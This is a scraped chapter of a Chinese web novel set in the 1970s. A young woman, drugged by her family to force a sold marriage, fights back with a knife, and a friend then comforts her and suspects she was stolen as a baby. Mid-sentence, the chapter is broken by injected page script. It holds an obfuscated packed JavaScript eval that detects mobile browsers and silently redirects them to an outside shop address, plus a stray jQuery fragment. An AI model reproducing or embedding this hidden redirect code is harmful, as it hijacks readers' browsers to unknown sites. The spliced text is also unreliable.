文趣网 > 其他小说 > 七零年代黑月光[穿书] > 33. 大不了鱼死网破
    黄婶子满脸愤怒,那破锣似的嗓子嚎道:“黄玲玉!你个小骚货还会半夜敲野男人家的门了,我怎么生了你这么个不要脸的东西!”

    傅清竹神色冰冷:“黄婶子,玲玉求助的人是我,你嘴巴放干净一点。”

    黄婶子叉着腰,唾沫星子能喷二里地:“傅知青,你有门路,本事大,但这是我们黄家的家事,轮不到你在这说三道四!黄玲玉,我告诉你,你爹收了王虎的彩礼,你生是王家的人,死是王家的鬼,今天乖乖跟我回去跟了王大户,不然我打断你的腿!”

    “谁收了钱谁去嫁!”黄玲玉往前迈了一步,声音抖得厉害,却字字清晰,“你这么喜欢他,你怎么不跟了他!”

    “你反了天了!敢这么说你娘!你个白眼狼!我养你这么大,收点彩礼怎么了?”黄婶子眼一瞪,伸手就要去抓黄玲玉的头发,裴君和眼疾手快,帮着挡了一下,把黄婶子推开。

    黄婶子顺势往地上一坐,拍着大腿就哭嚎起来,“大家快来看啊!我家闺女不学好,大半夜跟男人勾勾搭搭,现在还想悔婚啊!裴君和,你个大小伙子,刚结了婚,就跟我闺女不清不楚的,你还要不要脸啊!”

    黄石也在旁边帮腔:“姐,你就别闹了,王大户哥都答应了,等你嫁过去,他就把他堂妹介绍给我,给的彩礼钱刚好给我娶媳妇,你总不能看着我打光棍吧?”

    “你娶媳妇凭什么卖我?”黄玲玉气得浑身发抖,嘴唇都没了血色,“我这么多年在这个家里,为你做的还不够多吗?我把你们当作我最亲的人,对你们处处忍让,我以为你们至少有一丝丝是把我当成亲女儿,亲姐姐,没想到,你们能害我害到这种地步!”

    傅清竹这时候上前一步,把黄玲玉护在身后,看着撒泼的黄婶子,声音不大却清亮:“黄婶子,饭可以乱吃,话不能乱讲,人家都说狗改不了吃屎,我今天算是见识了,前阵子你造谣我和君和钻小树林,被拉到批斗大会上公开道歉的事才过去多久,现在还敢攀扯我们,谁给你的胆子,怎么,你上次检讨没有检讨爽快,还想再去台上站一回?”

    黄婶子的哭声猛地一卡,脸上青一阵白一阵,傅清竹那事让她丢了大脸,说的话也模棱两可,让人心慌。当时,她半个月没敢出门,也把黄玲玉困了半个月,让她出不了门。情急之下,才找的王大户,只收了一百块钱彩礼,如若不然,她肯定能把黄玲玉卖个更好的价钱!

    傅清竹也是首都来的,她会不会真的知道点什么?

    黄婶子的脑子百转千回,拍拍屁股从地上站起来,却仍旧色厉内荏地吼道:“黄玲玉!你就看着外人这么说你娘!还跟外人站在一起,你果然是个白眼狼!赔钱货!我养你这么多年都白养了!自古以来闺女嫁人都是父母说了算,我和你爹都同意!天王老子来了你也得给我嫁给王大户!小贱人快点给我过来!”

    “好!我今天就把话搁在这儿。”

    黄玲玉突然抢过裴君和手里的菜刀,对对准了对面的人,向前走了好几步,眼睛红得像要淌血,声音哑得几乎劈裂:“你们今天谁敢往前靠近我一下,我就跟谁拼命!王大户,你不是要娶我吗?行啊,你过来,我现在就跟你‘拜堂’,看是你先把我拉上床,还是我先把你脑袋剁下来!!!”

    她那副不要命的架势,吓得王大户往后退了两步,黄婶子从未见过这样的黄玲玉,也愣愣地看着她。

    “还有你们,”黄玲玉的刀依次指过黄婶子、黄石和王虎,声音里满是恨意,“今天你们给我饭里下蒙汗药,想把我迷晕了让王大户生米煮成熟饭,我也不想活了,临死前拉着你们所有人垫背,还有我那个爹,谁也别想跑!你们今天不弄死我,我马上就去派出所报警,去妇联告你们!买卖人口、意图□□,哪一条都够你们蹲大牢!到时候你们全都得去劳改,别想着有好日子过!”

    王大户本来就是个胆小的,现在见黄玲玉这鱼死网破的样子,顿时慌了,赶紧往后躲了躲,对着黄玲玉喊:“哎你可别乱说啊!我是被你爹你妈叫去家里吃饭的,什么下药不下药的,我根本不知道!”

    说完,转头又看向黄婶子:“瞧瞧你们家弄得这叫什么事,你闺女不愿意你怎么不早说!差点害我成了劳改犯,这罪名我可不认!这亲家我们也没法跟你们当了,赶紧把我给的一百块彩礼退回来,不然我跟你们没完!”

    说完,生怕黄玲玉突然冲过来砍他,抬腿就跑了。

    黄婶子一听要退钱,心里更恨了,冲着黄玲玉破口大骂:“你少在这血口喷人!你什么时候吃我们下的药了?你这不好好站在这儿吗?撒谎成精!”

    “我撒谎?”黄玲玉冷笑一声,“好啊,那就把今天晚上桌子上的菜和馒头拿去县医院验一验,我要是污蔑你我就一刀把脖子抹了,你要是给我下药,我就把你和儿子脖子都抹了,你敢吗?”

    傅清竹也在旁边补了一句:“黄婶子,我可告诉你,现在是新社会,买卖婚姻本来就违法,你们还下药,真闹到派出所,最轻也是十几年的劳改,到时候你们家还想娶媳妇?一家子全都去吃牢饭!”

    黄石本来还在旁边帮腔,一听这话脸都白了,赶紧伸手拽了拽黄婶子的袖子,声音压得极低:“娘,别闹了,赶紧回去吧,把菜都埋了,碗筷都赶紧洗干净,不然真把警察招来了,咱们家吃不了兜着走。我看姐这样儿,是真要跟咱们拼命。”

    黄婶子脸色一变,却还嘴硬:“少在这吓唬人!我们走!黄玲玉你个白眼狼,你给我等着,这事没完!”

    说完被黄石拽着,骂骂咧咧地就往家走。

    院门关上,黄玲

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17640307|206523||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    玉直到这一刻人才陡然松懈,手里的刀“哐当”一声掉在地上,刚才那股不要命的劲一下子散了,肩膀抖得像风中的落叶,眼泪噼里啪啦地往下掉,却死死咬着嘴唇,不肯哭出声。

    “别站在这儿了,先进屋吧。”傅清竹伸手扶她,黄玲玉像丢了魂,浑浑噩噩地跟她走。

    傅清竹把她扶进去,坐在院子里的凳子上,转头对裴君和说,“君和,你去灶上烧点热水,再把我放在柜子里的那瓶紫药水拿出来。”

    裴君和点点头,转身去了灶房,没一会儿就拎了满满一木桶热水过来,还拿了个干净的木盆:“水烧好了,我去外面待会儿,你们有事喊我。”

    傅清竹把热水拎到旁边的洗澡间,兑了点凉水,试了试温度,才拉着黄玲玉进去:“先洗洗脸上的伤,擦擦身子,等会儿给你上药。”

    黄玲玉点点头,脱了身上那件扯烂的布衫,背上青一块紫一块的,胳膊上还有好几道被指甲抓出来的血痕,傅清竹看着都疼,拿着毛巾沾了温水,轻轻给她擦:“疼就说,我轻点。”

    “不疼,”黄玲玉摇摇头,眼泪却掉进了水里,傅清竹的温柔让她忍不住倾诉,“清竹姐,我想不明白,她为什么这么恨我?从小到大,我在家吃得最少,干得最多,稍微有点不对就是一顿打,小时候弟弟摔了,她说是我推的,把我关在柴房里饿了三天,冬天我手上长冻疮,还要去河边洗全家的衣服,她连个旧手套都不给我。村里的人都说她就是重男轻女,可我见过隔壁李婶家,疼儿子,对女儿不好,但偶尔有好吃的也分一口,哪像我们家,看我就像看仇人一样。”

    她越说越激动,肩膀剧烈地起伏着,压抑了十几年的委屈一下子全涌了出来:“我到底做错什么了啊?她为什么这么恨我?我也是她身上掉下来的肉吗?为了给我弟娶媳妇,她居然要把我卖给王大户,我以为他们收了多少钱,结果只有一百块,为什么,还要给我下药,她怎么能这么狠心啊!”

    那当然因为你是她偷回来的,不是亲生的。

    她恨那个生你的人,所以也百般折磨你。

    看书里真假千金的错位人生,可能只是短短一行字,但如今,黄玲玉活生生的站在她面前,傅清竹才真切地感受到,这样的命运,对黄玲玉来说,太过血淋淋。她之后能有那样的成就,全靠这个女孩骨子里的坚韧。

    傅清竹轻轻拍着她的背,等她哭得差不多了,才递了块干净的布给她擦脸,斟酌着开口:“我之前也见过重男轻女的家庭,可就算再偏心,也知道是一家人,一荣俱荣一损俱损,顶多是对女儿不如对儿子好,没见过像你家这样,把女儿往死里逼的。你说……会不会你根本不是他们亲生的?”

    黄玲玉愣了一下,摇摇头,眼泪还在往下掉:“我小时候也这么想过。”